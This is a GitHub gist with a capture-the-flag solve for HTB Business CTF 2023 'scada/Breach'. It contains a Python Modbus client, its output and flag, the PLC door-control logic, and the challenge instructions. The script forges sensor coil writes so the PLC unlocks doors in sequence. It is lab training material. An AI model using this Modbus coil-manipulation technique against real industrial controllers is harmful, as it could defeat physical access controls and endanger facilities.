Skip to content

Instantly share code, notes, and snippets.

@leonjza
Last active July 17, 2023 05:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save leonjza/07f01c5766ef2b140439640514b120f6 to your computer and use it in GitHub Desktop.
Save leonjza/07f01c5766ef2b140439640514b120f6 to your computer and use it in GitHub Desktop.
HTB Business CTF 2023 - scada/Breach solve

HTB Business 2023, solve for scada/Breach

The Structured Text file is the logic, Instructions.txt tells us the door order and where the flag will be. Tricky part was opening door 4 after door 0 as the coils setup would trigger an open for 3 first.

You probably dont need reset_coils(), but it helped debugging.

Run

❯ python3 client.py
connected
_| resetting all sensors
|_-- processing door 3, [4, 3]
 _| current door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| resetting all sensors
_| writing door 3 coils
 _| coils for door 3 written, waiting for door to open
_| (waiting for door 3 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 3 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 3 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
 _| door 3 opened! resetting
_| resetting all sensors
 _| coils reset, waiting for door 3 to close
 _| door 3 closed
|_-- processing door 0, [4, 0]
 _| current door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| resetting all sensors
_| writing door 0 coils
 _| coils for door 0 written, waiting for door to open
_| (waiting for door 0 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 0 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 0 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 0 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
 _| door 0 opened! resetting
_| resetting all sensors
 _| coils reset, waiting for door 0 to close
 _| door 0 closed
|_-- processing door 4, [4, 4]
 _| current door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| resetting all sensors
_| writing door 4 coils
 _| coils for door 4 written, waiting for door to open
_| (waiting for door 4 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 4 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 4 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 4 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
 _| door 4 opened! resetting
_| resetting all sensors
 _| coils reset, waiting for door 4 to close
 _| door 4 closed
|_-- processing door 1, [4, 1]
 _| current door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| resetting all sensors
_| writing door 1 coils
 _| coils for door 1 written, waiting for door to open
_| (waiting for door 1 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 1 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 1 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
 _| door 1 opened! resetting
_| resetting all sensors
 _| coils reset, waiting for door 1 to close
 _| door 1 closed
|_-- processing door 2, [4, 2]
 _| current door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| resetting all sensors
_| writing door 2 coils
 _| coils for door 2 written, waiting for door to open
_| (waiting for door 2 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 2 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 2 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 2 open) door_status={0: False, 1: False, 2: False, 3: False, 4: False}
_| (waiting for door 2 open) door_status={0: False, 1: False, 2: True, 3: False, 4: False}
 _| door 2 opened! resetting
_| resetting all sensors
 _| coils reset, waiting for door 2 to close
 _| door 2 closed
 _| all doors opened, reading flag from holding registers
flag: HTB{m15510n_c0mp1373d_734m_8234ch3d_7h3_f4c1117y!394}
#!/usr/bin/python3
import socket
from time import sleep
from umodbus import conf
from umodbus.client import tcp
door_0 = [4,0]
door_1 = [4,1]
door_2 = [4,2]
door_3 = [4,3]
door_4 = [4,4]
sensor_0 = [8,0]
sensor_1 = [8,1]
sensor_2 = [8,2]
sensor_3 = [8,3]
sensor_4 = [8,4]
sensor_5 = [37,0]
sensor_6 = [37,1]
sensor_7 = [37,2]
sensor_8 = [37,3]
sensor_9 = [37,4]
sensor_10 = [52,0]
sensor_11 = [52,6]
sensor_12 = [16,6]
sensor_13 = [16,7]
sensor_14 = [16,0]
system_active = [75, 2]
door_rules = {
# sensor_4 AND NOT(sensor_2) AND sensor_1 AND sensor_0
0: [(sensor_4, True), (sensor_2, False), (sensor_1, True), (sensor_0, True)],
# sensor_7 AND NOT(sensor_6) AND sensor_5 AND sensor_0
1: [(sensor_7, True), (sensor_6, False), (sensor_5, True), (sensor_0, True)],
# sensor_11 AND NOT(sensor_7) AND sensor_10 AND sensor_5
2: [(sensor_11, True), (sensor_7, False), (sensor_10, True), (sensor_5, True)],
# sensor_13 AND sensor_12 AND NOT(sensor_11) AND sensor_10 AND
3: [(sensor_13, True), (sensor_12, True), (sensor_11, False), (sensor_10, True)],
# sensor_14 AND sensor_13 AND sensor_12 AND sensor_10
4: [
(sensor_14, True), (sensor_13, True), (sensor_12, True), (sensor_10, True),
# to prevent door 3 from triggering we set this extra one
(sensor_11, True)
],
}
# Adjust modbus configuration
conf.SIGNED_VALUES = True
# Create a socket connection
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('94.237.48.171', 45100))
print('connected')
# **huge** help to understand the coil adressing:
# https://content.helpme-codesys.com/en/CODESYS%20Development%20System/_cds_operands_addresses.html
def write(sensor: list, v: bool):
coil, bits = sensor
addr = (coil * 8) + bits
# print(f' _/ write({locals()})')
c = tcp.write_single_coil(slave_id=1, address=addr, value=1 if v else 0)
tcp.send_message(c, sock)
def read(sensor: list) -> bool:
coil, bits = sensor
addr = (coil * 8) + bits
# print(f' _\ read({locals()})')
c = tcp.read_coils(slave_id=1, starting_address=addr, quantity=1)
r = tcp.send_message(c, sock)
return True if r[0] == 1 else False
def read_flag():
c = tcp.read_holding_registers(slave_id=1, starting_address=4, quantity=100)
r = tcp.send_message(c, sock)
print(f'flag: {"".join([chr(x) for x in r])}')
def reset_coils():
print('_| resetting all sensors')
for x in range(15):
write(eval(f'sensor_{x}'), False)
write(system_active, False)
def get_door_status() -> dict:
return {
0: read(door_0),
1: read(door_1),
2: read(door_2),
3: read(door_3),
4: read(door_4)
}
def toggle_door(door_num: int, rules: list):
"""
door_num: the target door int
rules: a list of rules as tuples (sensor, True/False)
"""
assert 0 <= door_num < 5
door = eval(f'door_{door_num}')
print(f'|_-- processing door {door_num}, {door}')
door_status = get_door_status()
print(f' _| current door_status={door_status}')
assert all(v == False for v in door_status.values())
# try and reset all the coils?
reset_coils()
print(f'_| writing door {door_num} coils')
# write coils
for rule in rules:
sensor, target = rule
write(sensor, target)
write(system_active, True)
print(f' _| coils for door {door_num} written, waiting for door to open')
# wait for the door to open
while not read(door):
print(f'_| (waiting for door {door_num} open) door_status={get_door_status()}')
sleep(1)
print(f' _| door {door_num} opened! resetting')
reset_coils()
print(f' _| coils reset, waiting for door {door_num} to close')
# wait for the close
if read(door):
print(f'_| (waiting for door {door_num} close) door_status={get_door_status()}')
sleep(1)
print(f' _| door {door_num} closed')
return True
# start by resetting all the coils
reset_coils()
# sequence [door_3, door_0, door_4, door_1, door_2]
for door in [3, 0, 4, 1, 2]:
toggle_door(door, door_rules[door])
print(f' _| all doors opened, reading flag from holding registers')
read_flag()
sock.close()
// Configuration notes:
// 8-bit word size
// Modify Modbus coil access to restrict door coils
PROGRAM door_control
VAR
system_active AT %QX75.2 : BOOL := 0;
END_VAR
VAR
Door_0 AT %Q4.0 : BOOL := 0; // Restrict write access via Modbus
Door_1 AT %Q4.1 : BOOL := 0; // Restrict write access via Modbus
Door_2 AT %Q4.2 : BOOL := 0; // Restrict write access via Modbus
Door_3 AT %Q4.3 : BOOL := 0; // Restrict write access via Modbus
Door_4 AT %Q4.4 : BOOL := 0; // Restrict write access via Modbus
sensor_0 AT %QX8.0 : BOOL := 0;
sensor_1 AT %QX8.1 : BOOL := 0;
sensor_2 AT %QX8.2 : BOOL := 0;
sensor_3 AT %QX8.3 : BOOL := 0;
sensor_4 AT %QX8.4 : BOOL := 0;
sensor_5 AT %QX37.0 : BOOL := 0;
sensor_6 AT %QX37.1 : BOOL := 0;
sensor_7 AT %QX37.2 : BOOL := 0;
sensor_8 AT %QX37.3 : BOOL := 0;
sensor_9 AT %QX37.4 : BOOL := 0;
sensor_10 AT %QX52.0 : BOOL := 0;
sensor_11 AT %QX52.6 : BOOL := 0;
sensor_12 AT %QX16.6 : BOOL := 0;
sensor_13 AT %QX16.7 : BOOL := 0;
sensor_14 AT %QX16.0 : BOOL := 0;
END_VAR
VAR
TON0 : TON;
END_VAR
VAR_TEMP
door_timer_0 : TIME;
door_timer_1 : TIME;
door_timer_2 : TIME;
door_timer_3 : TIME;
door_timer_4 : TIME;
END_VAR
VAR
TON1 : TON;
TON2 : TON;
TON3 : TON;
TON4 : TON;
END_VAR
TON0(IN := NOT(Door_4) AND NOT(Door_3) AND NOT(Door_2) AND NOT(Door_1) AND sensor_4 AND NOT(sensor_2) AND sensor_1 AND sensor_0 AND system_active, PT := T#8000ms);
Door_0 := TON0.Q;
door_timer_0 := TON0.ET;
TON1(IN := NOT(Door_4) AND NOT(Door_3) AND NOT(Door_2) AND NOT(Door_0) AND sensor_7 AND NOT(sensor_6) AND sensor_5 AND sensor_0 AND system_active, PT := T#5000ms);
Door_1 := TON1.Q;
door_timer_1 := TON1.ET;
TON2(IN := NOT(Door_4) AND NOT(Door_3) AND NOT(Door_1) AND NOT(Door_0) AND sensor_11 AND NOT(sensor_7) AND sensor_10 AND sensor_5 AND system_active, PT := T#8000ms);
Door_2 := TON2.Q;
door_timer_2 := TON2.ET;
TON3(IN := NOT(Door_4) AND NOT(Door_1) AND NOT(Door_2) AND NOT(Door_0) AND sensor_13 AND sensor_12 AND NOT(sensor_11) AND sensor_10 AND system_active, PT := T#5000ms);
Door_3 := TON3.Q;
door_timer_3 := TON3.ET;
TON4(IN := NOT(Door_1) AND NOT(Door_3) AND NOT(Door_2) AND NOT(Door_0) AND sensor_14 AND sensor_13 AND sensor_12 AND sensor_10 AND system_active, PT := T#8000ms);
Door_4 := TON4.Q;
door_timer_4 := TON4.ET;
END_PROGRAM
CONFIGURATION Config0
RESOURCE Res0 ON PLC
TASK task0(INTERVAL := T#20ms,PRIORITY := 0);
PROGRAM instance0 WITH task0 : door_control;
END_RESOURCE
END_CONFIGURATION
1. The door order that must be achieved to successfully allow the team to infiltrate the building is: [door_3, door_0, door_4, door_1, door_2] and must be sequential.
2. The coils for the doors have restricted access on the Modbus network and can not be written.
3. The sensors are hardwired to coils, thus driving the coil will result in the sensor signal being altered.
4. SYSTEM REST: Upon mission completion, the system will reset after approximately two minutes.
5. FLAG: the flag will be available on the holding registers starting at address 4 upon completion of the mission.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment